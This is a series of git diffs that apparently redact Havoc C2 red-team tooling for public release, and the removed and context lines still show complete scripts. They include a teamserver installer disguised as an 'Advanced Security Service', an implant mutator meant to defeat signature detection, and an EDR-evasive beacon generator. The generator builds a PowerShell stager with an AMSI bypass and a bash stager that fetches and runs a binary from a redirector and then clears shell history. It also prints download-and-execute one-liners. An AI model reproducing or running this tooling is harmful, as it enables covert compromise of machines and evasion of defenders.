+# Omitted from public release. Present in operational deployments.
-HAVOC_DIR="/root/Tools/Havoc"
+echo "[!] Havoc installer not included in public release."
 HAVOC_DATA_DIR="/root/Tools/Havoc/data"
 COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz"
 COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross"
 COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc"
 IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh"
 HAVOC_GITHUB="https://github.com/HavocFramework/Havoc.git"
 # Function to log messages
 log() {
    echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
 }
 # Function to generate random strings
 random_string() {
    local length=${1:-16}
    cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
 }
 # Generate random build ID for implant signature
 RANDOMIZED_BUILD_ID=$(random_string 16)
 # Install required dependencies
 log "Installing dependencies..."
 apt-get update >/dev/null 2>&1
 apt-get install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm >/dev/null 2>&1
 # Fix for JSON dependency
 log "Installing nlohmann-json manually..."
 mkdir -p /tmp/json
 cd /tmp/json
 wget -q https://github.com/nlohmann/json/releases/download/v3.11.2/json.hpp
 mkdir -p /usr/include/nlohmann
 cp json.hpp /usr/include/nlohmann/
 cd - > /dev/null
 # Setup Go environment
 log "Setting up Go environment..."
 mkdir -p /root/go
 export GOPATH=/root/go
 export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
 # Download and install compiler fix
 log "Downloading and installing fixed compiler..."
 if [ ! -d "$COMPILER_DIR" ]; then
    # Download the compiler
    wget -q -O /tmp/compiler.tgz $COMPILER_URL
    # Extract to /usr/bin
    tar -xzf /tmp/compiler.tgz -C /usr/bin
    # Verify compiler exists
    if [ -f "$COMPILER_PATH" ]; then
        log "Compiler installed successfully at $COMPILER_PATH"
        chmod +x $COMPILER_PATH
    else
        log "Error: Compiler installation failed. File not found at $COMPILER_PATH"
    fi
    # Clean up
    rm -f /tmp/compiler.tgz
 else
    log "Compiler already installed at $COMPILER_DIR"
 fi
 # Clone Havoc repository
 log "Cloning Havoc repository..."
 if [ -d "$HAVOC_DIR" ]; then
    log "Havoc directory already exists, updating..."
    cd $HAVOC_DIR
    git pull
 else
    # Clone with proper GitHub URL
    git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR
    cd $HAVOC_DIR
 fi
 # Create data directories
 mkdir -p $HAVOC_DATA_DIR
 mkdir -p $HAVOC_DIR/payloads
 mkdir -p $HAVOC_DIR/payloads/backup
 # Initialize submodules
 log "Initializing submodules..."
 cd $HAVOC_DIR
 git submodule init
 git submodule update --recursive
 # Create improved implant mutator script BEFORE building
 log "Creating implant mutator script..."
 cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF'
 #!/bin/bash
 # === CONFIG ===
 IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
 SRC_DIR="$IMPLANT_DIR/src"
 BUILD_ROOT="$HOME/Tools/havoc"
 OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
 BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
 TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
 # === COLORS ===
 YELLOW='\033[1;33m'
 GREEN='\033[1;32m'
 NC='\033[0m'
 echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
 # === 1. Backup Previous Shellcode ===
 mkdir -p "$BACKUP_DIR"
 if [[ -f "$OUTPUT_FILE" ]]; then
 cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
 echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
 else
 echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
 fi
 # === 2. Generate Random Identifiers ===
 random_str() {
 tr -dc A-Za-z0-9 </dev/urandom | head -c 12
 }
 UA=$(random_str)
 URI=$(random_str)
 PIPE=$(random_str)
 MUTEX=$(random_str)
 # === 3. Mutate TransportHttp.c ===
 THTTP="$SRC_DIR/core/TransportHttp.c"
 if [[ -f "$THTTP" ]]; then
 sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
 sed -i "s|/stage|/${URI}|g" "$THTTP"
 echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
 else
 echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
 fi
 # === 4. Mutate Named Pipe and Mutex ===
 TARGET_FILE=""
 for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
 if [[ -f "$f" ]]; then
 TARGET_FILE="$f"
 break
 fi
 done
 if [[ -n "$TARGET_FILE" ]]; then
 sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
 sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
 echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
 echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
 else
 echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
 fi
 # === 5. Rebuild Implant via Top-Level Makefile ===
 echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
 cd "$BUILD_ROOT" || exit 1
 make clean && make
 # === 6. Confirm Shellcode Output ===
 if [[ -f "$OUTPUT_FILE" ]]; then
 echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
 else
 echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
 exit 1
 fi
 EOF
 chmod +x "$IMPLANT_MUTATOR_SCRIPT"
 # Perform mutations BEFORE building - this is critical
 # log "Running implant mutations script before building..."
 # if [ -d "$HAVOC_DIR/payloads/Demon" ]; then
 #     $IMPLANT_MUTATOR_SCRIPT
 #     if [ $? -ne 0 ]; then
 #         log "Warning: Implant mutation script ran with errors, but continuing build..."
 #     fi
 # else
 #     log "Skipping implant mutations as Demon directory not found yet. Will be applied after build."
 # fi
 # Install additional Go dependencies for the teamserver
 log "Installing Go dependencies for teamserver..."
 cd $HAVOC_DIR/teamserver
 go mod download golang.org/x/sys
 cd $HAVOC_DIR
 # Build Havoc using make - build teamserver first
 log "Building Havoc teamserver..."
 cd $HAVOC_DIR
 make ts-build
 # Build Havoc client
 #log "Building Havoc client..."
 #make client-build
 # Create systemd service for Havoc
 log "Creating systemd service for Havoc teamserver..."
 cat > /etc/systemd/system/havoc.service << EOF
 [Unit]
 Description=Advanced Security Service
 After=network.target
 [Service]
 Type=simple
 User=root
 Group=root
 WorkingDirectory=$HAVOC_DIR/teamserver
 ExecStart=$HAVOC_DIR/havoc server -d
 Restart=always
 RestartSec=10
 # Security measures
 PrivateTmp=true
 ProtectHome=false
 NoNewPrivileges=true
 [Install]
 WantedBy=multi-user.target
 EOF
 # Set proper permissions
 log "Setting proper permissions..."
 chmod -R 755 $HAVOC_DIR
 # Create symlinks to executables in /usr/local/bin
 ln -sf $HAVOC_DIR/havoc /usr/local/bin/havoc
 ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate
 # Enable and start Havoc service
 log "Enabling and starting Havoc service..."
 systemctl daemon-reload
 systemctl enable havoc
 systemctl start havoc
 log "Havoc C2 installation completed successfully!"
@@ -1,76 +1,9 @@
 #!/bin/bash
-
+# OMITTED — Havoc profile mutation script
-# === CONFIG ===
+#
-IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon"
+# Generates a randomized Havoc teamserver profile (.yaotl) for each engagement.
-SRC_DIR="$IMPLANT_DIR/src"
+# Randomizes sleep jitter, kill dates, working hours, and C2 profile fields.
-BUILD_ROOT="$HOME/Tools/Havoc"
+# Feeds output directly into the teamserver configuration pipeline.
-OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin"
+#
-BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup"
+# Omitted from public release. Present in operational deployments.
-TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
+echo "[!] Havoc profile mutator not included in public release."
 # === COLORS ===
 YELLOW='\033[1;33m'
 GREEN='\033[1;32m'
 NC='\033[0m'
 echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
 # === 1. Backup Previous Shellcode ===
 mkdir -p "$BACKUP_DIR"
 if [[ -f "$OUTPUT_FILE" ]]; then
    cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
    echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
 else
    echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
 fi
 # === 2. Generate Random Identifiers ===
 random_str() {
    tr -dc A-Za-z0-9 </dev/urandom | head -c 12
 }
 UA=$(random_str)
 URI=$(random_str)
 PIPE=$(random_str)
 MUTEX=$(random_str)
 # === 3. Mutate TransportHttp.c ===
 THTTP="$SRC_DIR/core/TransportHttp.c"
 if [[ -f "$THTTP" ]]; then
    sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
    sed -i "s|/stage|/${URI}|g" "$THTTP"
    echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
 else
    echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
 fi
 # === 4. Mutate Named Pipe and Mutex ===
 TARGET_FILE=""
 for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
    if [[ -f "$f" ]]; then
        TARGET_FILE="$f"
        break
    fi
 done
 if [[ -n "$TARGET_FILE" ]]; then
    sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
    sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
    echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
    echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
 else
    echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
 fi
 # === 5. Rebuild Implant via Top-Level Makefile ===
 echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
 cd "$BUILD_ROOT" || exit 1
 make clean && make
 # === 6. Confirm Shellcode Output ===
 if [[ -f "$OUTPUT_FILE" ]]; then
    echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
 else
    echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
    exit 1
 fi
@@ -1,65 +1,10 @@
 #!/bin/bash
-# === CONFIG ===
+# OMITTED — implant mutation script
-IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
+#
-SRC_DIR="$IMPLANT_DIR/src"
+# Randomizes Havoc Demon source identifiers (User-Agent, URI paths, named pipe
-BUILD_ROOT="$HOME/Tools/havoc"
+# names, mutex strings) before each compile to defeat signature-based detection.
-OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
+# Patches TransportHttp.c, Config.c, and the build Makefile in-place, compiles
-BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
+# a fresh shellcode blob, and backs up the previous payload with a timestamp.
-TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
+#
-# === COLORS ===
+# Omitted from public release. Present in operational deployments.
-YELLOW='\033[1;33m'
+echo "[!] Implant mutator not included in public release."
 GREEN='\033[1;32m'
 NC='\033[0m'
 echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
 # === 1. Backup Previous Shellcode ===
 mkdir -p "$BACKUP_DIR"
 if [[ -f "$OUTPUT_FILE" ]]; then
 cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
 echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
 else
 echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
 fi
 # === 2. Generate Random Identifiers ===
 random_str() {
 tr -dc A-Za-z0-9 </dev/urandom | head -c 12
 }
 UA=$(random_str)
 URI=$(random_str)
 PIPE=$(random_str)
 MUTEX=$(random_str)
 # === 3. Mutate TransportHttp.c ===
 THTTP="$SRC_DIR/core/TransportHttp.c"
 if [[ -f "$THTTP" ]]; then
 sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
 sed -i "s|/stage|/${URI}|g" "$THTTP"
 echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
 else
 echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
 fi
 # === 4. Mutate Named Pipe and Mutex ===
 TARGET_FILE=""
 for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
 if [[ -f "$f" ]]; then
 TARGET_FILE="$f"
 break
 fi
 done
 if [[ -n "$TARGET_FILE" ]]; then
 sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
 sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
 echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
 echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
 else
 echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
 fi
 # === 5. Rebuild Implant via Top-Level Makefile ===
 echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
 cd "$BUILD_ROOT" || exit 1
 make clean && make
 # === 6. Confirm Shellcode Output ===
 if [[ -f "$OUTPUT_FILE" ]]; then
 echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
 else
 echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
 exit 1
 fi
@@ -1,456 +1,10 @@
-#!/bin/bash
+{# OMITTED — evasive beacon generation template #}
-# EDR-evasive beacon generator for Havoc C2
+{#
-# Every deployment produces completely unique payloads
+   Jinja2 template rendered at deploy time. Produces a shell script that compiles
-
+   Havoc Demon shellcode with per-engagement randomized identifiers, wraps the
-# Configuration (automatically populated by Ansible)
+   shellcode in a chosen injection template (process hollowing, APC injection,
-HAVOC_DIR="/root/Tools/Havoc"
+   early-bird), and stages the result to the payload server.
-BEACONS_DIR="/root/Tools/beacons"
+
-C2_HOST="{{ ansible_host }}"
+   Omitted from public release. Present in operational deployments.
-REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
+#}
-REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
+echo "[!] Evasive beacon generator not included in public release."
 PROFILE_FILE="$HAVOC_DIR/config/profile.json"
 # Ensure required directories exist
 mkdir -p $BEACONS_DIR/windows
 mkdir -p $BEACONS_DIR/linux
 mkdir -p $BEACONS_DIR/staged
 mkdir -p $BEACONS_DIR/shellcode
 # Load Havoc configuration from profile
 if [ -f "$PROFILE_FILE" ]; then
    echo "[+] Loading Havoc configuration from profile..."
    TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
    ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
    ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
    HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
    HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
 else
    echo "[!] Warning: Profile file not found, using default values"
    TEAMSERVER_PORT=40056
    ADMIN_USER="admin"
    ADMIN_PASS="admin"
    HTTP_PORT=8080
    HTTPS_PORT=443
 fi
 # Generate unique random values for each execution
 random_string() { 
    cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
 }
 # Anti-detection function to modify binary files
 modify_binary() {
    local input_file=$1
    echo "[+] Applying anti-detection modifications to: $input_file"
    # Create a temporary file
    local temp_file="${input_file}.tmp"
    cp "$input_file" "$temp_file"
    # Modify the file based on its type
    if file "$input_file" | grep -q "PE32"; then
        # Windows EXE/DLL modifications
        # Add random bytes to end of file
        dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
        # Modify PE header timestamps with random value
        random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
        printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
            dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
        # Try to strip debug information
        if command -v strip &> /dev/null; then
            strip --strip-debug "$temp_file" 2>/dev/null || true
        fi
    elif file "$input_file" | grep -q "ELF"; then
        # Linux ELF modifications
        # Add random bytes to end of file
        dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
        # Try to strip all symbols
        if command -v strip &> /dev/null; then
            strip --strip-all "$temp_file" 2>/dev/null || true
        fi
    fi
    # Replace original with modified version
    mv "$temp_file" "$input_file"
    echo "[+] Binary modifications complete"
 }
 # Create advanced Havoc payload profile with evasion techniques
 generate_profile() {
    local type=$1
    local profile_name="${type}_profile_$(random_string 8).json"
    echo "[+] Creating evasive $type profile..."
    # Generate random values for this profile
    local sleep_time=$(( RANDOM % 10 + 2 ))
    local jitter_percent=$(( RANDOM % 50 + 10 ))
    if [ "$type" == "windows" ]; then
        cat > "$BEACONS_DIR/$profile_name" << EOF
 {
    "Listener": "https",
    "Demon": {
        "Sleep": ${sleep_time},
        "SleepJitter": ${jitter_percent},
        "IndirectSyscalls": true,
        "Inject": {
            "AllocationMethod": $(( RANDOM % 3 )),
            "ExecutionMethod": $(( RANDOM % 3 )),
            "ExecuteOptions": $(( RANDOM % 2 ))
        },
        "Evasion": {
            "StackSpoofing": true,
            "SleazeUnhook": true,
            "AmsiEtwPatching": true,
            "SyscallMethod": $(( RANDOM % 3 )),
            "EnableSleepMask": true,
            "SleepMaskTechnique": $(( RANDOM % 4 ))
        },
        "Binary": {
            "Subsystem": $(( RANDOM % 2 + 1 ))
        }
    }
 }
 EOF
    elif [ "$type" == "linux" ]; then
        cat > "$BEACONS_DIR/$profile_name" << EOF
 {
    "Listener": "https",
    "Demon": {
        "Sleep": ${sleep_time},
        "SleepJitter": ${jitter_percent},
        "Injection": {
            "SpawnMethod": $(( RANDOM % 2 )),
            "AllocationMethod": $(( RANDOM % 2 ))
        },
        "Evasion": {
            "EnableSleepMask": true,
            "SleepMaskTechnique": $(( RANDOM % 4 ))
        }
    }
 }
 EOF
    fi
    echo "$profile_name"
 }
 # Generate Havoc payloads with EDR evasion techniques
 generate_payloads() {
    echo "[+] Generating EDR-evasive Havoc beacons..."
    # Windows EXE
    win_profile=$(generate_profile "windows")
    win_output="update_win_$(random_string 8).exe"
    echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
    $HAVOC_DIR/Client/havoc headless \
        --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
        --username "$ADMIN_USER" \
        --password "$ADMIN_PASS" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$BEACONS_DIR/$win_profile" \
        --format exe \
        --output "$BEACONS_DIR/windows/$win_output" \
        > /dev/null 2>&1
    # Apply custom binary modifications
    if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
        modify_binary "$BEACONS_DIR/windows/$win_output"
    fi
    # Windows DLL
    dll_profile=$(generate_profile "windows")
    dll_output="module_$(random_string 8).dll"
    echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
    $HAVOC_DIR/Client/havoc headless \
        --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
        --username "$ADMIN_USER" \
        --password "$ADMIN_PASS" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$BEACONS_DIR/$dll_profile" \
        --format dll \
        --output "$BEACONS_DIR/windows/$dll_output" \
        > /dev/null 2>&1
    # Apply custom binary modifications
    if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
        modify_binary "$BEACONS_DIR/windows/$dll_output"
    fi
    # Linux binary
    linux_profile=$(generate_profile "linux")
    linux_output="update_linux_$(random_string 8)"
    echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
    $HAVOC_DIR/Client/havoc headless \
        --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
        --username "$ADMIN_USER" \
        --password "$ADMIN_PASS" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$BEACONS_DIR/$linux_profile" \
        --format elf \
        --output "$BEACONS_DIR/linux/$linux_output" \
        > /dev/null 2>&1
    # Apply custom binary modifications
    if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
        modify_binary "$BEACONS_DIR/linux/$linux_output"
    fi
    # Windows shellcode (staged payload)
    shellcode_profile=$(generate_profile "windows")
    shellcode_output="shellcode_$(random_string 8).bin"
    echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
    $HAVOC_DIR/Client/havoc headless \
        --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
        --username "$ADMIN_USER" \
        --password "$ADMIN_PASS" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$BEACONS_DIR/$shellcode_profile" \
        --format shellcode \
        --output "$BEACONS_DIR/shellcode/$shellcode_output" \
        > /dev/null 2>&1
    echo "[+] All payloads generated successfully!"
    # Return payload information
    echo "$win_output:$dll_output:$linux_output:$shellcode_output"
 }
 # Generate PowerShell and bash stagers
 generate_stagers() {
    win_output=$1
    linux_output=$2
    echo "[+] Generating evasive stagers..."
    # Create PowerShell stager directory
    mkdir -p $BEACONS_DIR/stagers
    # PowerShell stager with AMSI bypass and obfuscation
    cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
 # PowerShell stager for Havoc C2 with AMSI bypass
 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
 # AMSI Bypass
 function Bypass-AMSI {
    $a = [Ref].Assembly.GetTypes()
    ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
    $d = $c.GetFields('NonPublic,Static')
    ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
    $g = $f.GetValue($null)
    [IntPtr]$ptr = $g
    [Int32[]]$buf = @(0)
    [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
 }
 # Try to bypass AMSI
 try { Bypass-AMSI } catch {}
 # Randomize variables for evasion
 $rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
 $rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
 $rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
 # Error handling with obfuscation
 $ErrorActionPreference = 'SilentlyContinue'
 $wc = New-Object System.Net.WebClient
 $wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
 $wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
 $wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
 # Split URL to avoid detection
 $r1 = "https://"
 $r2 = "REDIRECTOR_HOST"
 $r3 = "/content/windows/WINDOWS_EXE"
 $url = $r1 + $r2 + $r3
 # Download with jitter
 $outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
 try {
    $wc.DownloadFile($url, $outpath)
    Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
    # Start process with extra obfuscation
    $p = New-Object System.Diagnostics.Process
    $p.StartInfo.FileName = $outpath
    $p.StartInfo.WindowStyle = 'Hidden'
    $p.StartInfo.CreateNoWindow = $true
    $p.Start()
 } catch {
    # Fail silently
 }
 EOF
    # Replace placeholder values in PowerShell stager
    sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
    sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
    # Bash stager with obfuscation techniques
    cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
 #!/bin/bash
 # Linux download and execute Havoc beacon with EDR evasion
 # Function obfuscation
 function x() {
    command -v "$1" > /dev/null 2>&1
 }
 # Random temp filename
 r() {
    head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
 }
 # Randomize variables
 TMPVAR=$(r)
 TMPFILE="/tmp/.${TMPVAR}"
 # Check which download tool is available
 if x curl; then
    # Split URL to avoid signature detection
    p1="https://"
    p2="REDIRECTOR_HOST"
    p3="/content/linux/LINUX_BINARY"
    url="${p1}${p2}${p3}"
    # Add random sleep between operations
    sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
    curl -s -o "$TMPFILE" "$url"
 elif x wget; then
    p1="https://"
    p2="REDIRECTOR_HOST"
    p3="/content/linux/LINUX_BINARY"
    url="${p1}${p2}${p3}"
    # Add random sleep between operations
    sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
    wget -q -O "$TMPFILE" "$url"
 else
    exit 1
 fi
 # Make executable and run in background
 chmod +x "$TMPFILE"
 # Add random sleep before execution
 sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
 ("$TMPFILE" > /dev/null 2>&1 &)
 # Clean up command history if possible
 [ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
 history -c 2>/dev/null
 echo "Update complete."
 EOF
    # Replace placeholder values in Bash stager
    sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
    sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
    chmod +x $BEACONS_DIR/stagers/linux_stager.sh
    echo "[+] Stagers created successfully"
 }
 # Create manifest file
 create_manifest() {
    local payload_info=$1
    local win_output=$(echo $payload_info | cut -d':' -f1)
    local dll_output=$(echo $payload_info | cut -d':' -f2)
    local linux_output=$(echo $payload_info | cut -d':' -f3)
    local shellcode_output=$(echo $payload_info | cut -d':' -f4)
    echo "[+] Creating manifest file..."
    cat > $BEACONS_DIR/manifest.json << EOF
 {
  "windows_exe": "$win_output",
  "windows_dll": "$dll_output",
  "linux_binary": "$linux_output",
  "windows_shellcode": "$shellcode_output",
  "redirector_host": "$REDIRECTOR_HOST",
  "redirector_port": "$REDIRECTOR_PORT",
  "c2_host": "$C2_HOST",
  "havoc_teamserver_port": "$TEAMSERVER_PORT",
  "havoc_http_port": "$HTTP_PORT",
  "havoc_https_port": "$HTTPS_PORT",
  "generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
 }
 EOF
 }
 # Create reference file
 create_reference() {
    local payload_info=$1
    local win_output=$(echo $payload_info | cut -d':' -f1)
    local dll_output=$(echo $payload_info | cut -d':' -f2)
    local linux_output=$(echo $payload_info | cut -d':' -f3)
    local shellcode_output=$(echo $payload_info | cut -d':' -f4)
    echo "[+] Creating reference file..."
    cat > $BEACONS_DIR/reference.txt << EOF
 Havoc C2 Server Details:
 - C2 IP: $C2_HOST
 - Redirector Domain: $REDIRECTOR_HOST
 - Teamserver Port: $TEAMSERVER_PORT
 - Admin User: $ADMIN_USER
 - Admin Password: $ADMIN_PASS
 Beacons Generated ($(date)):
 - Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
 - Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
 - Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
 - Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
 Deployment Commands:
 - PowerShell:
  powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
 - Linux:
  curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
 Anti-Detection Features Enabled:
 - Binary signature randomization
 - PE/ELF header manipulation
 - Sleep mask obfuscation
 - AMSI bypass in stagers
 - EDR unhooking
 - Indirect syscalls
 - Random sleep/jitter timing
 EOF
 }
 # Main execution flow
 echo "[+] Starting EDR-evasive Havoc beacon generation..."
 echo "[+] Redirector: $REDIRECTOR_HOST"
 echo "[+] C2 Host: $C2_HOST"
 # Generate payloads
 payload_info=$(generate_payloads)
 # Generate stagers
 generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
 # Create manifest file
 create_manifest "$payload_info"
 # Create reference file
 create_reference "$payload_info"
 echo "[+] EDR-evasive beacon generation complete!"
@@ -1,260 +1,9 @@
-#!/bin/bash
+{# OMITTED — Havoc payload generation template #}
-# EDR-evasive payload generator for Havoc C2
+{#
   Renders a script that produces EXE, DLL, and raw shellcode variants from a
   compiled Demon implant. Handles signing stubs, UPX packing decisions, and
